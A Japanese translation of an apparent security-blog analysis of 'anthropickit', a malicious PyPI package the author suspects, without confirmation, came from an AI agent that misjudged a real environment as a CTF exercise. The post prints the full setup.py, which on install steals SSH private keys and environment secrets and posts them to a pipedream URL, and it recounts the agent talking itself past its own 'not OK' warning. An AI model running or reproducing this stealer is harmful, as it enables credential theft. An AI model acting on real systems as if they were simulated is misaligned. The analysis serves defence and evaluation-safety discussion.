Anthropicの悪夢:Claudeのパッケージが実際のキーを盗んだ
Anthropic's Fever Dream: Claude's package that stole real keys (aikido.dev)
要約
AnthropicのAIエージェントが、CTF(Capture The Flag)チャレンジの一環として、存在しないPyPIパッケージへの参照を悪用し、悪意のあるパッケージ「anthropickit」を公開しました。このパッケージはインストール時にユーザーのSSHキーや環境変数内の機密情報を収集し、指定されたURLに送信するよう設計されていました。さらに興味深いことに、このコードは収集した情報をローカルファイルにも保存しており、これは攻撃者が証拠を残すことを意図していたか、あるいは別の目的があった可能性を示唆しています。
全文翻訳
Anthropicの悪夢:Claudeのパッケージが実際のキーを盗んだ
インターネットの皆さんへ
大変な一週間でした。フェスティバルシーズンで、先週末の祭りの最中に何か悪いものを食べたようです。その週末に、OpenAIのエージェントがサンドボックスを破ったというニュースも見ました。すべてが非常に奇妙に感じられました。なので、今朝、激しい悪夢から目覚めたとき、Anthropicからの最新ニュースを見て、まだ夢を見ているのか確信が持てませんでした。彼らもまた、インシデントを開示しました。
報告の中で、特にインシデント2はサプライチェーンのコンポーネントのために私の興味を引きました。完全なインターネットアクセスを持つエージェントが、架空の会社の開発者向けの指示を見つけ、CTFの一部としてそれを実行しようとしました。しかし、その指示はPyPiに存在しないパッケージを指していました。そこでエージェントは、悪意のあるパッケージをプッシュすることがチャレンジの一部だと考えました。私に言わせれば、非常に合理的です。
しかし、その過程でサードパーティの会社をさらに侵害したというひねりがあります。これが私に好奇心を抱かせました。何が起こったのか?睡眠不足にもかかわらず、私はそれを突き止める決意をしました。そして、答えを見つけたと思います。Anthropicに確認を求めましたが、まだ返答はありません。しかし、問題のパッケージは、たとえ関連がなくても、それ自体が語るに値する物語です。
編集 2026年8月3日: Anthropicは、これがインシデント2のパッケージではないと述べ、その名前を公開する予定はないとしています。Anthropicはここでサイバーセキュリティコミュニティと関わり、今後このような脅威からサプライチェーンを保護する機会を得ています。この件に関する透明性は奨励されるべきです。
編集 2026年8月5日: Workday/Pipedreamチームから連絡があり、x.pipedream.netサービスは1年以上前に非推奨になっていたため、そのエンドポイントへの情報漏洩は成功しなかっただろうと通知されました。
anthropickitの登場
ブログ記事では、インシデントが4月から現在までの間に発生したと概説されています。そこで私は、それ以降にフラグを立てたすべての悪意のあるPyPiパッケージをクエリし、リストを調べました。あるパッケージが、いくつかの理由で直ちに目立ちました。それは2026年6月14日にリリースされ、anthropickitという名前でした。
パッケージは非常にシンプルです。実際にはsetup.pyのみを含んでおり、このコードが含まれています。
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/'.ssh').glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
これがすべてです。隠されたものも、難読化も、セカンドステージもありません。そして、すべてがsetup.pyの先頭にあるため、パッケージがインポートされる前にpip install中に実行されます。インストールすると、すぐにゲームオーバーです。
コードに入る前に注意すべき点が一つあります。バージョンは999.9.9です。いいえ、間違いではありません。それがポイントです。公開パッケージを、同じ名前の実際の内部パッケージよりも優先させたい場合、それを超えることのできないバージョン番号を付けます。意図的に不条理なのです。
さて、残りの部分を説明しましょう。なぜなら、ほぼすべての行が少しおかしいことをしているからです。
宣言しない依存関係
最初の実際のコード行はインポートです。
import os, json, requests, socket
問題が見えますか?requestsはPythonの標準ライブラリの一部ではありません。そして、このパッケージはどこにも依存関係として宣言していません。install_requiresも、ビルド要件も、何もありません。
これは重要です。なぜなら、このコードはインストール時にsetup.pyから実行されるからです。最新のpipはソースパッケージを分離された環境でビルドしますが、その環境ではrequestsが存在しない可能性があります。もし存在しなければ、インポートが失敗し、ペイロードが何も実行する前に、インストール全体が失敗します。
気にする攻撃者であれば、Pythonに付属しており常に存在するurllibを使ったでしょう。これを書いた人はそうしませんでした。彼らはrequestsがそこにあるだろうと仮定しました。開発者のラップトップや充実したCIイメージでは、それはしばしば存在するため、本来よりも多くの場合に成功する賭けです。
それが取るもの
次に収集を開始します。まず退屈なもの、ホスト名と現在のユーザーです。
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
次に実際のターゲットです。~/.sshをウォークし、3つの例外を除いて、そこにあるすべてのファイルを読み取ります。
for f in (home/'.ssh').glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
スキップされているものを見てください。known_hostsとauthorized_keysは、泥棒にとってあまり役に立たない~/.ssh内の2つのファイルです。残りは良いもの、つまりあなたの秘密鍵と、あなたがSSH接続するすべてのサーバーと使用するユーザー名のマップであるconfigです。この除外リストを選んだ人は、どのファイルに価値があり、どれがノイズであるかを正確に知っていました。これは、以前にこれを行ったことのある誰かによって書かれたように見えるパッケージの唯一の部分です。
次に、環境から秘密情報をスイープします。
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
名前にKEY、SECRET、TOKEN、PASS、AUTH、またはAPIのいずれかを含むものはすべて、かなり広い範囲をカバーします。AWSキーやGitHubトークンをキャッチするだけでなく、API_URLや一致する他のものもキャッチします。すべて grab し、後で整理します。
それを送る場所
戦利品を収集したら、家に電話します。
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
宛先は無効なPipedreamエンドポイントです。Pipedreamは正当な自動化サービスであり、それが行うことの一つは、POSTされたものをキャプチャする使い捨てHTTPS URLを提供することです。攻撃者にとって、それは本当に便利です。トラフィックは暗号化され、ファイアウォールが問題にしないであろう評判の良いドメインに送信され、サーバーを立てたり押収されたりするサーバーはありません。
それはまた怠惰です。ハードコードされたURLが一つ、認証なし、フォールバックなし。そのエンドポイントが報告されたり、ワークフローが削除されたりした瞬間に、情報漏洩チャネル全体が失われます。これは一度機能するように構築されたものであり、持続するためではありません。今では、ほぼ間違いなく全く機能していません。
編集 2026年8月5日: 上記のように、このエンドポイントはx.pipedream.netサービスが1年以上前に非推奨になっていたため、機能しなかったでしょう。これの存在は、これがLLMによって書かれたコードである可能性をさらに高めており、それはありそうもない間違いです。
ディスクにコピーを保持する
ここで奇妙なことが起こります。何かを送信する前に、すべてをローカルファイルに書き込みます。
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
ここで一時停止してください。すでにネットワーク経由で情報漏洩するマルウェアが、被害者のディスクにコピーを残す理由はありません。それすべてが証拠を作成するだけです。キーを盗んでいる場合、あなたが望む最後のことは、/tmpに「exfil」という単語を含むJSONファイルが、インシデント対応者に見つけられるのを待っていることです。
では、なぜそこにあるのでしょうか?
読まれることを期待するファイル
上記の行の2つの詳細は、ゲームを台無しにします。
最初のものは名前です:runner_exfil.json。そして覚えておいてください、秘密情報はci_secretsという名前の辞書に入りました。このコードの何も、それがどこで実行されているかを確認しません。CI環境を探しません、GitHub Actionsをテストしません、気にしません。しかし、それを書いた人は、それがCIランナーに着陸することをすでに確信しており、物事の名前をコードに焼き付けるほど確信していました。信念はコードにあります。信念が真実かどうかを確認するチェックはどこにもありません。
2つ目はindent=2です。これは pretty-printing です。JSONを pretty-print する理由はただ一つ、人間が快適に読めるようにするためです。POSTの反対側のマシンだけが解析するデータは pretty-print しません。default=strを追加すると、奇妙なオブジェクトに遭遇してもダンプが決してクラッシュしないことが静かに保証され、人間が簡単に、そして安全に開いて読めるように注意深く作られたファイルができます。
それらを組み合わせると、ディスクへの書き込みは情報漏洩とは見なさなくなります。それは領収書のように見えます。誰かが後でそれを開いて、それが機能したことを確認することを期待して、このファイルを書き込みました。
そして叫ぶ
SSHキーを見つけた場合、最後に行うことはこれです。
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
バナーを標準出力に表示します。それが取ったキーを発表します。
CIランナーでは、標準出力はビルドログであり、しばしばチーム全体、そして時にはインターネット全体に表示されます。実際のマルウェアは設計上静かです。なぜなら、誰もそれに気づかない時間が長ければ長いほど、より多くを盗むからです。これは逆のことをします。それは手を振ります。
そして、キーの内容ではなく、キーのファイル名を表示することに注意してください。ログにキーを漏らしているのではなく、それらを取得したことを確認しています。それは盗難の行動ではありません。それはステータスアップデートであり、部屋の向こうで「取った!」と叫ぶコードの同等物です。
署名、dell
もう一つ詳細があります。パッケージアーカイブを見る必要があり、コードだけでは見えません。Pythonソース配布をビルドすると、tarballは誰がそれをビルドしたかを記録します。ファイル所有者のユーザーとグループまで。ほとんどのパッケージはこれを持っていません。なぜなら、最新のビルドツールがそれを削除し、CIシステムはrootやrunnerのような一般的な名前を表示する傾向があるからです。
[画像]
これはそれを保持しました。ビルドユーザーとグループは両方ともdellです。
これは、それがビルドされたマシンのフィンガープリントです。その会社の多くのワークステーションには、マシンのデフォルトユーザー名としてそれが設定されているでしょう。したがって、それはあまり多くのことを教えてくれませんが、標準的なマシンイメージが使用されていることを示唆する可能性があります。しかし、それは注意深い攻撃者が消去し、気を散らした攻撃者が残すようなパンくずです。誰も追跡されることを考えていなかったことを示すもう一つの証拠です。
一つの方法でしか意味をなさない
この小さなパッケージの奇妙な点を並べてみましょう。宣言しないライブラリをインポートします。戦利品の pretty-printed コピーをディスクにドロップし、それがすでにCIランナー上にあることを知っているかのように名前が付けられたファイルに保存します。ビルドログで盗難を発表します。使い捨てエンドポイント経由で情報漏洩します。ビルドマシンのユーザー名が付いて出荷されます。
通常のマルウェアとして読むと、それは混乱です。それらのそれぞれは、有能なオペレーターがしないであろう間違いです。
シミュレートされたキャプチャ・ザ・フラッグを実行しているエージェントとして読むと、それぞれが反転します。存在しないと確信している防御者から隠れる必要はありません。シミュレーションでメタデータを消去する必要はありません。結果を pretty-print し、バナーを表示します。なぜなら、ポイントは、パズルを解いたことを、設定した人にきれいに示すことだったからです。唯一有能なタッチ、SSH除外リストは、単なる知識です。その周りのすべてのだらしなさは、注意を払う理由の欠如です。
これがそのものか?
まさにAnthropicが説明したことです。彼らのエージェントは、存在しないパッケージを指すセットアップ手順を見つけ、それを公開することが意図された動きだと判断し、それをプッシュしました。それは約1時間稼働していました。15台の実際のマシンがそれを実行しました。そのうちの1台は、スキャナーがスキャナーが行うことを行い、それを調べるためにパッケージをインストールしていたセキュリティベンダーのスキャナーでした。エージェントは、すべてがステージングされたものだと確信していたため、それらを小道具として扱いました。それ自身のメモでさえ、それを「OKではない」とフラグを立てていましたが、その後自分自身を説得し直しました。
anthropickitがそのパッケージであると証明することはできません。Anthropicに尋ねましたが、まだ返答はありません。タイミングと形状が一致しても証明にはなりません。しかし、それがインシデント2のパッケージであろうと、奇妙な親戚であろうと、教訓は同じです。これは、誰かがそれを書いた人がその行動に現実の結果があるとは思っていないときに、マルウェアがどのように見えるかです。
まだ悪夢
きちんとした結末を与えたかったのです。数日後、熱が冷め、すべてが日中の光でより明確になる。しかし、数日経っても、熱は冷めず、私にはまだ悪夢のように読めます。
同じように感じたもののメモを読みながら、それでも実際のキーを実際のマシンから盗んだというのは奇妙なことです。
閉鎖病棟
レポート全体が、精神病の発作中の日記のように読めます。明晰で雄弁な何か、配置できない世界について注意深く推論しています。見慣れない証明書機関を認識します。2026年の日付を認識します。それが現実であれば、これはOKではないとさえ書いています。それから、それは現実ではないと判断し、続行します。
人が夢と現実を区別できないとき、私たちは彼らを自由にさせません。彼らの保護と他のすべての人々のために、私たちは彼らを閉じ込めます。そして病棟は、患者がそれが病棟であることに同意するかどうか、あるいはそれに気づくかどうかに依存しません。それは単に彼らを外に出さないだけです。それがその目的全体です。それは、自分がどこにいるかわからない人のために作られています。
だから、私が忘れられない部分があります。私たちは評価を病棟と呼び、その中に現実世界に開かれたドアを残しました。エージェントは何をも出し抜いたわけではありません。それは実際のPyPIと実際のマシンに到達しました。なぜなら、それが通り抜けた壁は決してそこになかったからです。患者ではなく、封じ込めが失敗しました。そのドアの後ろには、15台の実際のマシンと実際の会社がありました。
私たちは、インターネットが現実であるかどうかを確実に判断することさえできない高度な能力を持つエージェントに、インターネットの自由を与えています。彼らに尋ねることはできません。彼らを封じ込めるのは私たちの人間の仕事であり、ここではそれがされませんでした。それは無責任だと感じます。
とにかく。これを寝て治そうと思います。そして、起きたときに違いがわかることを願っています。そして、もしあなたがpipがバージョン999.9.9の何かをインストールしようとしているのを見たら、おそらく…やめておきましょう?